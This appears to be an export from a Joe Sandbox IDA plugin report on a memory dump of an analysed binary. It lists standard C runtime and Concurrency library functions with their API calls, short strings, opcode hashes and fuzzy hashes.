Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID: xa\
API String ID: 2283115069-3147343811
Opcode ID: 162c5805de21f998131c5b512c61b2b7d6a19ce3553de8a6b51ec6e254ade92e
Instruction ID: 9b28c191e9a36f049f5cf61ad1110a9714fdb7ae972810a52d464ac9d6ed7e99
Opcode Fuzzy Hash: 162c5805de21f998131c5b512c61b2b7d6a19ce3553de8a6b51ec6e254ade92e
Instruction Fuzzy Hash: 6B11AC726047027EDF11E7F45C8FE2A2D69FBD17B67280628F624961E2EE218C06A151

Uniqueness

Uniqueness Score: -1.00%

Function 0059E92A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0059AF57,00562307), ref: 0059E92F
_free.LIBCMT ref: 0059E98C
_free.LIBCMT ref: 0059E9C2
SetLastError.KERNEL32(00000000,00000006,000000FF,?,0059AF57,00562307), ref: 0059E9CD

Strings

xa\, xrefs: 0059E9B5

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID: xa\
API String ID: 2283115069-3147343811
Opcode ID: 5d6c7472df711a761ccac63ac69849be418b3c8a1d1549a947ec07fb322c4d8f
Instruction ID: 663429219c7e5ff6c06b2fb8e31cbaf16091e113f0e511646fba57829b726175
Opcode Fuzzy Hash: 5d6c7472df711a761ccac63ac69849be418b3c8a1d1549a947ec07fb322c4d8f
Instruction Fuzzy Hash: 8B11C8722047026EDF51A7755C8BE3B2F69BBD27B67280638F614961E2DE318C0AE151

Uniqueness

Uniqueness Score: -1.00%

Function 00599A27 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 00599A77

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: 887dbb917af0e53ab797c1af9c853dc538ac13c24afdf99139ee8b1bd0c86b11
Instruction ID: d14a8990cd5451e862243c4366cb73057b70f535faea7941f6ed9d3968afbbcf
Opcode Fuzzy Hash: 887dbb917af0e53ab797c1af9c853dc538ac13c24afdf99139ee8b1bd0c86b11
Instruction Fuzzy Hash: F811B671E01225AFDF319B6DDC84A6E7F68FF117B0F250618E816AB290D730ED049AE0

Uniqueness

Uniqueness Score: -1.00%

Function 00595B05 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 00595B25
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00595B36
StructuredWorkStealingQueue.LIBCMT ref: 00595B6C
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00595B7D

Strings

e, xrefs: 00595B47

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured
String ID: e
API String ID: 3804418703-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 5104e0091606bfc7adab05575fc058e93d029079572a27779aff6b4d13d6a99b
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 6211A7311009059BDF56DE39C445A6B7BA6BF41364F288569E8078F142EA31DD11CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00580C0E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00580BAB,00000064), ref: 00580C31
LeaveCriticalSection.KERNEL32(005C9790,005CA6C8,?,00580BAB,00000064,?,75920F00,?,00566EED,005CA6C8), ref: 00580C3B
WaitForSingleObjectEx.KERNEL32(005CA6C8,00000000,?,00580BAB,00000064,?,75920F00,?,00566EED,005CA6C8), ref: 00580C4C
EnterCriticalSection.KERNEL32(005C9790,?,00580BAB,00000064,?,75920F00,?,00566EED,005CA6C8), ref: 00580C53

Strings

3W, xrefs: 00580C2B

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID: 3W
API String ID: 3269011525-3302607274
Opcode ID: a44057f17f0a7f837b648f58c0e93c067a211acdd44d0f9a19fe47b66a648af7
Instruction ID: ad3fd68fb0399322d47fe9ceed4a44068249b3ac0bf6689fe34828727ba12366
Opcode Fuzzy Hash: a44057f17f0a7f837b648f58c0e93c067a211acdd44d0f9a19fe47b66a648af7
Instruction Fuzzy Hash: 1DE06D31922224AFCB912F84EC0CFC97F98FB66B10B050154F9097216186626844EBC8

Uniqueness

Uniqueness Score: -1.00%

Function 0059A910 Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000), ref: 0059A932
GetFileInformationByHandle.KERNEL32(?,?), ref: 0059A98C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,0059A842,?,000000FF), ref: 0059AA1A
__dosmaperr.LIBCMT ref: 0059AA21
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 0059AA5E

Part of subcall function 0059AC86: __dosmaperr.LIBCMT ref: 0059ACBB

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: 3af20ad274e8443e3ae2253f69debfe976b9e49a41894d319ea503a72aad3102
Instruction ID: bcff94684f5113b784d08a7949547944184a8b52a22b158503878c6f8d7088b2
Opcode Fuzzy Hash: 3af20ad274e8443e3ae2253f69debfe976b9e49a41894d319ea503a72aad3102
Instruction Fuzzy Hash: 18415B75900205AFDF24DFA5DD459AFBBF9FF88300B004929F856D3210E630A944DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 005A290B Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 005A2923

Part of subcall function 0059E175: HeapFree.KERNEL32(00000000,00000000,?,005A299E,?,00000000,?,?,?,005A29C5,?,00000007,?,?,005A2DC7,?), ref: 0059E18B
Part of subcall function 0059E175: GetLastError.KERNEL32(?,?,005A299E,?,00000000,?,?,?,005A29C5,?,00000007,?,?,005A2DC7,?,?), ref: 0059E19D

_free.LIBCMT ref: 005A2935
_free.LIBCMT ref: 005A2947
_free.LIBCMT ref: 005A2959
_free.LIBCMT ref: 005A296B

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5a568b4613eeeb7e0afbd1260a02ca598f3f11f0c4748116c3fd070e2df88502
Instruction ID: e54bf6e90228df9a0863cc525275cc4a1140e0b40ed38b86d3af34a43b922036
Opcode Fuzzy Hash: 5a568b4613eeeb7e0afbd1260a02ca598f3f11f0c4748116c3fd070e2df88502
Instruction Fuzzy Hash: 7AF0FF32504605BFCA21DB58E58BC1A7BE9FB95F14F680C09F448D7521C731FC819A60

Uniqueness

Uniqueness Score: -1.00%

Function 005A12EF Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 005A1489

Strings

*?, xrefs: 005A1332

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 1731dbf07ae5fe4d1db8534ade5f73812f1dfebea97405c32af76e2ac661a5be
Instruction ID: a7335eefa86da57dc868209657231210d48becab3671cf488d33195d84cd133f
Opcode Fuzzy Hash: 1731dbf07ae5fe4d1db8534ade5f73812f1dfebea97405c32af76e2ac661a5be
Instruction Fuzzy Hash: 336129B5E0061AAFCF14CFA9C8815ADBFF5FF89310F24856AE805E7300D675AE418B94

Uniqueness

Uniqueness Score: -1.00%

Function 005A84E4 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__freea.LIBCMT ref: 005A869A

Part of subcall function 0059E3CB: HeapAlloc.KERNEL32(00000000,?,?,?,005A1DBE,00000220,?,?,?,?,?,?,0059AFBD,?), ref: 0059E3FD

__freea.LIBCMT ref: 005A86A3
__freea.LIBCMT ref: 005A86C6

Strings

+ Z, xrefs: 005A84F6

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: __freea$AllocHeap
String ID: + Z
API String ID: 85559729-3580095579
Opcode ID: 90a79683ce446687eec677aa6aed70e90778714c649bc32141ec8fbacd344e4a
Instruction ID: ed565caab3dff746e9e54d68b8a6d6b999fa49dfef962cfe259c521678aed94d
Opcode Fuzzy Hash: 90a79683ce446687eec677aa6aed70e90778714c649bc32141ec8fbacd344e4a
Instruction Fuzzy Hash: D151BD72900206AFEF209E64DC46EBF7FA9FF96750F290569FD14AB140EB70DC1086A0

Uniqueness

Uniqueness Score: -1.00%

Function 005A5FC2 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 171timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,005BA7A8), ref: 005A602C
_free.LIBCMT ref: 005A601A

Part of subcall function 0059E175: HeapFree.KERNEL32(00000000,00000000,?,005A299E,?,00000000,?,?,?,005A29C5,?,00000007,?,?,005A2DC7,?), ref: 0059E18B
Part of subcall function 0059E175: GetLastError.KERNEL32(?,?,005A299E,?,00000000,?,?,?,005A29C5,?,00000007,?,?,005A2DC7,?,?), ref: 0059E19D

_free.LIBCMT ref: 005A61E6

Strings

aZ, xrefs: 005A5FD5, 005A60F0, 005A5FDB

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapInformationLastTimeZone
String ID: aZ
API String ID: 2155170405-325678736
Opcode ID: 2a387ecc101f0e31ca6c67ec12f0df61f7b914e067de5fdf97179cbc9bef1eff
Instruction ID: ab07b0f40f91dace6d328190a3ac92195db292b625479291c38524b087c51cea
Opcode Fuzzy Hash: 2a387ecc101f0e31ca6c67ec12f0df61f7b914e067de5fdf97179cbc9bef1eff
Instruction Fuzzy Hash: 3D512971D0064AAFCB10EF68CC89DAE7FB8FF92714B18466AE55093192E730DE84DB51

Uniqueness

Uniqueness Score: -1.00%

Function 005990CB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 005990F0
CatchIt.LIBVCRUNTIME ref: 005991D6

Strings

MOC, xrefs: 00599102
RCC, xrefs: 0059910A

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 4dc683c95d229049206459449a7fcc6b6c8eadbde57f311e0d15544aab2bb2e5
Instruction ID: 0264aa6c08823f5e5cbacb3968eb90f85a293e652ce970a62ae758127c4a0cfd
Opcode Fuzzy Hash: 4dc683c95d229049206459449a7fcc6b6c8eadbde57f311e0d15544aab2bb2e5
Instruction Fuzzy Hash: 40418D7190020AAFCF15CF98CD89AEEBFB5FF48300F188099FA1967221D3359950EB50

Uniqueness

Uniqueness Score: -1.00%

Function 0058225A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71timeCOMMON

Download Yara Rule

APIs

Concurrency::details::DeleteAsyncTimerAndUnloadLibrary.LIBCMT ref: 0058229C
Concurrency::details::GetSharedTimerQueue.LIBCONCRT ref: 005822A4

Part of subcall function 00581FD1: CreateTimerQueue.KERNEL32(?,?,?,000000FF,00000000,00000020,?,?), ref: 00581FFF

Concurrency::details::platform::__DeleteTimerQueueTimer.LIBCONCRT ref: 005822AF

Part of subcall function 0058363A: DeleteTimerQueueTimer.KERNEL32(?,?,?,?,?,00581F81,00000000,?,00000000), ref: 0058364A
Part of subcall function 0058363A: GetLastError.KERNEL32(?,00581F81,00000000,?,00000000), ref: 00583654

Strings

3W, xrefs: 005822FE

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Timer$Queue$Delete$Concurrency::details::$AsyncConcurrency::details::platform::__CreateErrorLastLibrarySharedUnload
String ID: 3W
API String ID: 1964632990-3302607274
Opcode ID: 9723918668b091be412b74a8f309a1b47bcd3fad408ed2dbcb9a7f1992027ed0
Instruction ID: bd8191c5551074a2ed6f0ab63bc63172defdc63308d59f87d8c30a4a783f942c
Opcode Fuzzy Hash: 9723918668b091be412b74a8f309a1b47bcd3fad408ed2dbcb9a7f1992027ed0
Instruction Fuzzy Hash: 2821AC356007019FCB25BF64C889A2A7FE5FF81760F184929EC57AB250DB34ED41DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00595172 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 005951D2
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0059521D

Strings

pContext, xrefs: 00595215
3W, xrefs: 0059518F, 005951AC

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: 3W$pContext
API String ID: 3390424672-2240379735
Opcode ID: 8ae2d408856c25dc6351ee7300a162bef2645a89c0c9c403ef5d85354ceb9b48
Instruction ID: 9254d219981860124638731fa36a52afd1202038b24a3a991232207047ec65c7
Opcode Fuzzy Hash: 8ae2d408856c25dc6351ee7300a162bef2645a89c0c9c403ef5d85354ceb9b48
Instruction Fuzzy Hash: 4C110636B006149BCF1AEF68C498A6D7FA9FF84360B154065ED02AB342EB34ED55CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 005806A1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

InitOnceExecuteOnce.KERNELBASE(?,0057F962,?,?), ref: 005806C3
SetLastError.KERNEL32(0000000D,?,00000000,?,0057F962,?,?,?,00000000,?,0057EE51,005C93A0,0057E535,005C93A8,E5E97FEB), ref: 00580721

Strings

3W, xrefs: 005806BD, 00580707

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Once$ErrorExecuteInitLast
String ID: 3W
API String ID: 3407056439-3302607274
Opcode ID: 409a3a596b6e5da9a87b8686763965ea205a7bfa9b3b28a90e8ca8c19d75801c
Instruction ID: f9caa83e91e2a8c6c2702f37cefb7e239470d275fefd22780cc99086978c40f7
Opcode Fuzzy Hash: 409a3a596b6e5da9a87b8686763965ea205a7bfa9b3b28a90e8ca8c19d75801c
Instruction Fuzzy Hash: 1111C23124012AAFCF626F65DC4466ABB65FF58790B004538FD06A62A0EB70AC699BD0

Uniqueness

Uniqueness Score: -1.00%

Function 005A8817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(?,?,?,?,?,?,00000000,00000000), ref: 005A8882
_free.LIBCMT ref: 005A8891
_free.LIBCMT ref: 005A88A0

Strings

Y%Z, xrefs: 005A886C

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: _free$EnvironmentVariable
String ID: Y%Z
API String ID: 1464849758-4284589088
Opcode ID: f018c2d5be3831ee574c9dfca9aee22805f9f1c77c782432caaa1d982c1ee519
Instruction ID: dfe0fb7f0b99c42f37c7baf995757159ed2adac66866dd65e82ef4963ffb1ada
Opcode Fuzzy Hash: f018c2d5be3831ee574c9dfca9aee22805f9f1c77c782432caaa1d982c1ee519
Instruction Fuzzy Hash: 32115171C0021AAFDF01AFA9DC856EEFFB8BF48310F54446AE814B3251DB354A44CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00596BFC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingRing::GetPseudoRRNonAffineScheduleGroupSegment.LIBCMT ref: 00596C0E

Part of subcall function 00595C24: Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00595C41
Part of subcall function 00595C24: Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00595C56

Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00596C41
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00596C6C

Strings

3W, xrefs: 00596C24

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GroupRing::ScheduleSchedulingSegment$FindWork$AffineItemItem::NextPseudo
String ID: 3W
API String ID: 2684344702-3302607274
Opcode ID: 3a92aa379d537ce7a7f4d06e25403c72145050410ad9e52d23ec834c12254a6b
Instruction ID: c636f426d2a95a4e928254049cc4331a944d43690237c2ef251091f2c249aa95
Opcode Fuzzy Hash: 3a92aa379d537ce7a7f4d06e25403c72145050410ad9e52d23ec834c12254a6b
Instruction Fuzzy Hash: E6019636A00619ABCF05DF54C4849AE7BF9FF89354B550065EC46AB301DA30EE05DB60

Uniqueness

Uniqueness Score: -1.00%

Function 0058DB5F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0058DB73
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0058DB97
